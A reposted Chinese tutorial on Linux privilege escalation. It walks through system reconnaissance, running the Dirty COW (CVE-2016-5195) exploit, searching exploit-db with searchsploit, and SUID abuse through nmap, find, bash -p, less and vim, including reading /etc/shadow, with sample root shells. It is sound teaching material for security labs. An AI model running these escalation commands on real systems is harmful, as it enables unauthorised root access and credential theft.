原文链接:http://zone.secevery.com/article/1104

Linux提权
1.信息收集
2.脏牛漏洞提权
3.内核漏洞exp提权
4.SUID提权
 
0x00 基础信息收集
(1):内核,操作系统和设备信息

uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息

(2)用户和群组

cat /etc/passwd     列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完

(3)用户和权限信息:

whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

(4)环境信息

env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell

更多 --> https://www.rebootuser.com/?p=1623
 
 
0x01脏牛漏洞本地提权
漏洞描述:
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >=2.6.22  并且Android也受影响
脏牛漏洞名称的来源:

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

漏洞原理:

该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

漏洞复现过程:
靶机:CentOS 6.5
1.查看linux内核版本是否大于等于2.6.22

uname -a

2.上传POC至 /tmp 目录下(tmp目录具有较高权限)

3.对dirty.c进行gcc编译生成一个可执行文件

gcc -pthread dirty.c -o dirty -lcrypt
***
-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现
-o 为编译后输出的文件名
***

4.运行dirty可执行文件进行本地提权

./dirty passwd

这个漏洞利用的过程大概要三分钟,耐心等待之后即可出现

此时切换到firefart用户,密码为123456

执行id命令后可以看到已经为root用户了,成功提权。
参考:http://zone.secevery.com/article/290

----------------------------------------
 
0x02内核漏洞提权

果linux内核版本小于2.6.22或者脏牛无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。而searchs
polit的使用也很简单,只需要在后面跟上限定条件即可。
查看linux漏洞

searchspolit linux

查看centos6版本漏洞

searchspolit centos 6

但我们通常查看指定内核版本和linux版本。如:

searchspolit centos 7 kernel 3.10

所限定的条件越多,当然可利用的漏洞也就越少。我们选中其中符合靶机环境的漏洞后进行查看。
利用leafpad命令查看文档内容并且复制到靶机上生成相应的文件。(漏洞的利用虽然是英文,但是一定要看一下使用方法)

leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c

参考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提权
SUID概念:

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性

SUID提权:

那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

首先在本地查找符合条件的文件,有以下三个命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
--------------------------------------------------------
常用的可用于suid提权的文件

Nmap
Vim
find
Bash
More
Less
Nano
cp

namp
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式

nmap --interactive

执行命令后会返回一个shell

nmap> !sh
sh-3.2# whoami
root

而在Metasploit中也有一个模块可以通过SUID Nmap进行提权

exploit/unix/local/setuid_nmap

find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

touch test
find test -exec whoami \;

vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件

vim /etc/shadow

bash
以下命令将以root身份打开一个bash shell

bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

less
程序less也可以执行提权后的shell。

less /etc/passwd
!/bin/sh

参考:https://www.anquanke.com/post/id/86979

Linux提权小结的更多相关文章

  1. Linux提权手法整理

    之前写过了windows提权小结,这下一篇水什么就有了嘛,于是有了这篇水文,整理一下Linux提权 前篇windows提权小结 ,链接送上 https://www.cnblogs.com/lcxblo ...

  2. Linux提权(1)-基础版~

    利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...

  3. 又一款linux提权辅助工具

    又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...

  4. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  5. 记一次初步Linux提权

    前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...

  6. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  7. 利用Metasploit进行Linux提权

    利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...

  8. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  9. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

随机推荐

  1. python-pymysql学习

    python 操作mysql:有两种方式python-mysqldb(python3.0之后不能安装)和pymysql,下面是pymysql的学习. 参照表: python代码实现的mysql查询功能 ...

  2. 用shell脚本新建文件并自动生成头说明信息

    目标: 新建文件后,直接给文件写入下图信息 代码实现: [root@localhost test]# vi AutoHead.sh #!/bin/bash #此程序的功能是新建shell文件并自动生成 ...

  3. 正则表达式入门-python代码

    题记 本文介绍了Python对于正则表达式的支持,包括正则表达式基础以及Python正则表达式标准库的完整介绍及使用示例. 正则表达式在很多的应用中都有使用到,特别是在网络爬虫中格式化html后取出自 ...

  4. stat()函数--------------获取文件信息

    stat():用于获取文件的状态信息,使用时需要包含<sys/stat.h>头文件. 函数原型:int stat(const char *path, struct stat *buf): ...

  5. 环境安装文档(for Ubuntu)

    这个文档的目标是:各位小伙伴通过这个文档,可以在一台全新的 Ubuntu 电脑上搭建平常开发使用的环境,主要包含 Node.js, git 和 编辑器部分. 这是针对 Ubuntu 系统的安装文档,W ...

  6. kali pinyin

    重装了kali,原来一直用的ibus pinyin重装之后再apt-get install的时候总是找不到包,换了各种源都不行,纠结N久果断换别的输入法了. apt-get install fcitx ...

  7. 【51nod1462】树据结构

    Source and Judge 51nod1462 Analysis 请先思考后再展开 dffxtz师兄出的题 做法一:暴力树剖+分块,时间复杂度为 $O(nlognsqrt n)$ 做法二:利用矩 ...

  8. 在线选题系统完善篇(PHP)

    第一篇: 选题在线提交系统(html+JS+PHP) 这是当时根据需求做的一个简单的版本,只能适用于这一个场景,而且题目等一系列数据都不能改.然后结束后,我又对重新写了一个有后台管理的选题系统.相对于 ...

  9. 挖SRC逻辑漏洞心得分享

    文章来源i春秋 白帽子挖洞的道路还漫长的很,老司机岂非一日一年能炼成的. 本文多处引用了 YSRC 的 公(qi)开(yin)漏(ji)洞(qiao).挖SRC思路一定要广!!!!漏洞不会仅限于SQL ...

  10. 前端每日实战:62# 视频演示如何用纯 CSS 创作一只蒸锅

    效果预览 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/YvOzNy 可交互视频 此视频是可 ...